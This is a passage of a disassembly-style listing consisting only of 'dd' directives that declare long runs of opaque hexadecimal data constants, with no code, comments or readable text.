		dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh,	0C96D8067h
		dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
		dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
		dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h,	0F6C97831h
		dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
		dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
		dd 0C8C50C17h, 8DF40Fh,	6CE1918Bh, 539DF999h, 0F2A5FC00h
		dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
		dd 0C08CF872h, 8EC19Eh,	90093E82h, 4F92F08Ah, 7C42E6E5h
		dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
		dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh,	3BFA005Fh
		dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
		dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
		dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
		dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h,	80418BC9h
		dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h,	0AC394F2Eh
		dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
		dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
		dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
		dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
		dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h,	34AC5D5Eh
		dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h,	4A3074FEh
		dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
		dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
		dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
		dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
		dd 9EC669D7h, 95A7C00h,	0A966374Fh, 968500A0h, 6E50920Eh
		dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
		dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h,	3DF28329h
		dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
		dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
		dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
		dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
		dd 4386C29h, 4C26453Bh,	500ABAEh, 0C811E088h, 39EA015Ch
		dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
		dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
		dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
		dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h,	607A013Ch
		dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
		dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
		dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
		dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
		dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h,	2F92153Fh
		dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch,	0D136C926h
		dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
		dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
		dd 92626088h, 0AE8276h,	2C7C7E9Eh, 3249017Ah, 4D334200h
		dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
		dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
		dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
		dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
		dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh,	525E0040h
		dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh,	0CC4A74B0h
		dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch,	28682641h
		dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
		dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
		dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
		dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
		dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
		dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h,	0E2E80030h
		dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
		dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
		dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
		dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
		dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h,	1EC001B3h
		dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h,	3824763Bh
		dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch,	279C122Ch
		dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
		dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
		dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h,	3263A66h
		dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
		dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
		dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
		dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
		dd 608E6163h, 0B7E2B0A5h
		dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h,	5804F32Dh
		dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh,	7E8A3C70h
		dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h,	15F09ECDh
		dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
		dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
		dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h,	1C014F0h
		dd 0EE300BA3h, 3A7C32h,	0F916640Ch, 2F34B8FDh, 0C6610500h
		dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh,	2E7353Fh
		dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h,	611FFA94h
		dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
		dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h,	0ACFA4A00h
		dd 12B0D4h, 0BC684FB4h,	7678C0CBh, 75C85B3Bh, 50F08B00h
		dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h,	48204A1Ch
		dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h,	3E70DE4Ah
		dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
		dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
		dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
		dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
		dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
		dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h,	0C93CCCh
		dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h,	84C880F9h
		dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
		dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h,	3C100905h
		dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h,	44AE568Ch
		dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
		dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
		dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h,	20704832h
		dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h,	96F441BFh
		dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
		dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
		dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
		dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
		dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
		dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
		dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
		dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h,	0B7EA61E9h
		dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
		dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
		dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
		dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
		dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h,	50030A8Eh
		dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch,	0BD49E9C0h
		dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
		dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
		dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
		dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
		dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh,	0FA7B6C20h
		dd 0B400A860h, 768BC7DFh
		dd 7DB91A0h, 179A270Ah,	487F006Bh, 0EA038997h, 633644D0h
		dd 1504E083h, 18CECDFh,	35586176h, 0C46F24BFh, 0E63B5599h
		dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
		dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
		dd 737938h, 50D74341h, 6EC21Dh,	69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 3CAA0000h, 48F0000h,	82981225h, 0B18E10B2h
		dd 57D820D3h, 89CAECB4h, 6FB0F77h, 131DE5AAh, 6DAE9264h
		dd 702C9670h, 0AB15D75Ah, 567EE701h, 35565E40h,	94613FC5h
		dd 93C708B6h, 0A12614B1h, 1957D9E4h, 25BC51E3h,	0C297F8E1h
		dd 0A30C138Ch, 0BA762695h, 98830E70h, 0E5225270h, 0B5D267FFh
		dd 76C00353h, 16DCCBDCh, 910FC0AEh, 0AE92BBB7h,	21AF747Bh
		dd 0D45FCB15h, 0A55AACA8h, 6F4FA53Bh, 7A1168D3h, 0D7798258h
		dd 0A8A1D38Bh, 9BA1F792h, 0C9E09E92h, 89BFB92h,	0E66E947Ah
		dd 244CD5D9h, 369109BAh, 0CA31AD65h, 0FAFB5EA5h, 6E068FA9h
		dd 5B003DF6h, 714DABF9h, 0A6853949h, 0D0F22C8Ah, 75C552h
		dd 3DB0E85Ch, 0C8586487h, 0D873D033h, 0D18204C4h, 0CC2B84Dh
		dd 0A504E457h, 0A2C907B8h, 0B1A6E591h, 12978C6Eh, 2DA06AB7h
		dd 6C91987Bh, 3F58CEBDh, 4315824Eh, 0FC39E33Dh,	91DFB43Ah
		dd 0B3D5CDBAh, 2B4929C1h, 0CA5BCFA3h, 7726E5C4h, 9FFE3861h
		dd 0A6D38BC5h, 1D7C1114h, 77F7249Fh, 891C5AD5h,	0C7D4A8A0h
		dd 0AED2DD5Fh, 3ED6B5D2h, 90906733h, 67296DDEh,	0BFFD4BDh
		dd 5933EF4Bh, 89FD1292h, 963B06Ah, 0ABBD2B8Ah, 4F1AEC1Bh
		dd 0FBF6362Eh, 7EE38BD4h, 2C824784h, 0F652C5Ah,	0B9B48FD5h
		dd 428C3B1Ah, 0E85A346Fh, 0A2DA1515h, 8657C060h, 7DC8944Fh
		dd 0A6F3A167h, 789E253Eh, 5AED0BB6h, 77CEC83Fh,	3E9519EEh
		dd 0E2B790B2h, 0E6B60A87h, 7318AD1Ah, 2F847EE7h, 0C85C8E4Fh
		dd 1353DD9Bh, 6CCD70F3h, 4B75C97Ah, 88C86CEh, 5F1F0049h
		dd 7D833B6h, 0BCD8A49Bh, 0B34A6A59h, 605163E2h,	0CDA26106h
		dd 37824090h, 0D8DE4B8Bh, 4106B62Fh, 42D12AB9h,	570C33Dh
		dd 4761E70Eh, 7DB22819h, 0C5798F1h, 54B5A1D1h, 26281A9Ch
		dd 914A562h, 0DD07C94Fh, 0B3FA728Eh, 0B1DC6D0Eh, 3C0428C8h
		dd 3B614584h, 0C4D7A44h, 591D480Fh, 0B817F16Ch,	0F6D5EBACh
		dd 5F36B97h, 0F889B61Dh, 125088DBh, 0DE47A648h,	9BEA5721h
		dd 8D94E2DEh, 7DDAF6FFh, 77939661h, 67AB316Bh, 7F3322Bh
		dd 660143D2h, 1472492Fh, 616033C7h, 5BC00E4Ch, 0D957D9A5h
		dd 2827CF5Dh, 0B67D3B4Fh, 767BA0D9h, 17A1103h, 943001CBh
		dd 0B89B8382h, 4AEE36DCh, 926E33D7h, 659BE778h,	8FEEE9AFh
		dd 5FFFD7AAh, 0D201F06h, 5A8985E5h, 0C2812545h,	8B1E5F5Ah
		dd 85FD655Ch, 77238A4Fh, 0F399A2C4h, 0BDB438DAh, 6CE538A1h
		dd 8D5D6B26h, 240C88B1h, 0BACB920Ah, 0C6DBFC5Eh, 0CA90A84Bh
		dd 0A5D76A9Dh, 17F94785h, 61E27E39h, 0EE706897h, 5CA2234h
		dd 6DB5BE9Bh, 0A0D9B278h, 0FFFE25C9h, 0AE73F93Bh, 1EF3851Bh
		dd 0C2FB2DC0h, 0AE001D15h, 76AC65CDh, 36713669h, 8BF75D6Ah
		dd 35B741A8h, 0CE43BDFAh, 2B7B1E75h, 6FBB234Bh,	0E72A7378h
		dd 8EE46BB7h, 3A2D34B4h, 494ADD83h, 0D45E8753h,	400CCBE0h
		dd 9E99504Fh, 4D965830h, 0CB9C430Bh, 5F45C512h,	3E07BFB6h
		dd 8215E9F5h, 0F7D91BCBh, 7564F527h, 87E5D027h,	0E237FC7Ch
		dd 0EAE7BF9Bh, 6FC6AAFCh, 0CEBA08EDh, 287E91B9h, 8C7653C0h
		dd 111D3974h, 0CDBC9D11h, 65B62F86h, 42891EC7h,	4850C3ACh
		dd 9B11ED18h, 5AD058D4h, 0A4EBC88Dh, 0CE7FE800h, 0D45855C1h
		dd 0B81ED904h, 0AE96C584h, 0B0E3571Bh, 0E1BCEB60h, 0B03DD891h
		dd 0DBE0CE30h, 66BB4E1Ch, 0F8665B23h, 0DF4514DCh, 0E69098E4h
		dd 0AE6293C4h, 3104EA4Ah, 0CCC3A2Eh, 0DB0FE343h, 186B2A66h
		dd 98DA3377h, 1606285Ah, 8E39202Bh, 8078E887h, 31F23C20h
		dd 8A7536D9h, 5124EA1Fh, 13E5ABBCh, 7401450h, 84AB3361h
		dd 0E13F0ED8h, 343281F6h, 497E12F1h, 59AF34F4h,	0AF1B0760h
		dd 1A0C45Bh, 0B5283489h, 4300B3ACh, 8526391Dh, 0C93BAAECh
		dd 4DB70593h, 945CA106h, 0E8FBA6C4h, 0D6613A45h, 0F4BBF10Fh
		dd 0D0A5A320h, 0DECCEF5Fh, 0ADAC87F7h, 8730F843h, 0C6664796h
		dd 0E5F736C2h, 1D25AC03h, 565E18FCh, 35F59FB2h,	0A909BA5Ch
		dd 95A7F3AAh, 375DF1A2h, 0FA5DFB6Ah, 9CD7F37Eh,	5CD97291h
		dd 0AAA6AA65h, 58406C1Dh, 19E9AF62h, 0C918E0DAh, 405B9FF1h
		dd 0B804CBF2h, 0B074FD33h, 8F12AC88h, 8546D5E0h, 0CE86581Bh
		dd 0D58D98A7h, 0AB117E37h, 68A924F3h, 0F4A252C8h, 0E4F5441Eh
		dd 8B527E3Fh, 9F125029h, 77AF1944h, 0F6D57035h,	0C6FC560Ah
		dd 0F14CE88Ah, 0A8E1B2B6h, 31EF9DDFh, 0F74BF243h, 0B83F8B41h
		dd 3697F9CDh, 0DC6C35E8h, 9D9EC461h, 55171894h,	25D8C8CBh
		dd 5B01799Fh, 9E85D0EFh, 0BEE2EC9h, 211AF589h, 6131868Bh
		dd 0CA057410h, 32E3E9B9h, 92EF9D6h, 677EE7B6h, 14C85D4Bh
		dd 0CF446013h
		dd 7025F7E5h, 0C607B8B7h, 6CF892DDh, 3F7B66DEh,	0E35433D5h
		dd 48227921h, 1BBD6E8Bh, 0C630A3E6h, 69DBEFF6h,	85D90E73h
		dd 565FF520h, 0D690AE0Ch, 3AF26609h, 71E482EAh,	2ACA83Ah
		dd 0B4FACE3Bh, 89B4F73h, 0E6230233h, 0CBEB1176h, 0B58B7FD1h
		dd 0E8159B40h, 7CB9DB9Eh, 6B548107h, 0DF533FB2h, 7A49626Fh
		dd 7DD11694h, 0EB9E02A7h, 88A87B58h, 0DF2E0C4Bh, 2F655F2Bh
		dd 0CA3252FCh, 0A70D8B07h, 0C1A05175h, 70020A2Eh, 485072A5h
		dd 6E13ABC8h, 537C398h,	1BC86267h, 561930CAh, 4AE1AFCBh
		dd 3BD990B1h, 320DB8C2h, 4E5D5B4Ch, 88BDEBEFh, 19101DCEh
		dd 0ED546812h, 598095B5h, 5DA2ABBFh, 666E01CEh,	3C7C88A9h
		dd 8E579115h, 6D81DC98h, 0CAECB8AFh, 5E16CAF0h,	7B08BD3Fh
		dd 0EB190897h, 105FDA1h, 406EB70Ah, 985E5BF6h, 0DDF3885Ch
		dd 0F3BB817Bh, 877D1E56h, 328C8C5Fh, 0FD7C12B0h, 8D433E16h
		dd 1DB6287Bh, 7182E3C3h, 8B9B77B7h, 6F0FC59Dh, 0E1070C22h
		dd 0BD89EA6Eh, 7995D5C8h, 5A350AD0h, 5A0F6B27h,	0AA27E08Dh
		dd 7549C7C5h, 81C56Eh, 4EEB8422h, 496519B9h, 0F31999D5h
		dd 0CB87AAA0h, 0FAA69425h, 0B4C41D9Bh, 0DCF3A3Bh, 57F9ABDBh
		dd 71BEC2A0h, 1ECF849Ch, 6FB9E1D9h, 6BB6EC84h, 80B62726h
		dd 5E86C29Ch, 0C098995Dh, 789CD723h, 6992566h, 0B3F099B8h
		dd 6B0BD871h, 0D78D0A7h, 0A7B88EEEh, 7D089A43h,	0C9F6CE7Fh
		dd 3B6D27EBh, 2AFEAC7Eh, 0F7C4E6FFh, 9106287Bh,	0ECA155B4h
		dd 1205508Dh, 320E78B2h, 0F65FD70Eh, 0E5101C0Bh, 32C7F83Eh
		dd 81671FC4h, 261DC620h, 0B071C808h, 0F0F1EC96h, 0F64EC5E7h
		dd 64F0788Ah, 0A20B3FC6h, 50607A99h, 5E4CB137h,	0F2729FD3h
		dd 9560981h, 218D1CB7h,	0E4897EBEh, 23EBF090h, 0E030DCFBh
		dd 8A05494Bh, 7ED9E66Fh, 647EB7F8h, 61806356h, 17C9CB16h
		dd 673ABFBh, 438D0C0Ch,	5024BF92h, 60887D1Bh, 0A383BAFEh
		dd 0ADE75BF8h, 2CFE5EBFh, 75BB766Ch, 45BCEF6Dh,	6788385Bh
		dd 0D12E9337h, 0D7E9920Ch, 0B8233907h, 65CAA6A2h, 0C9127118h
		dd 7ED482F2h, 429E777Eh, 0D0B1B6Ah, 0D5589BE5h,	3E619387h
		dd 2F31EEF0h, 74FB952h,	0D9E303D7h, 665A0580h, 951E80CDh
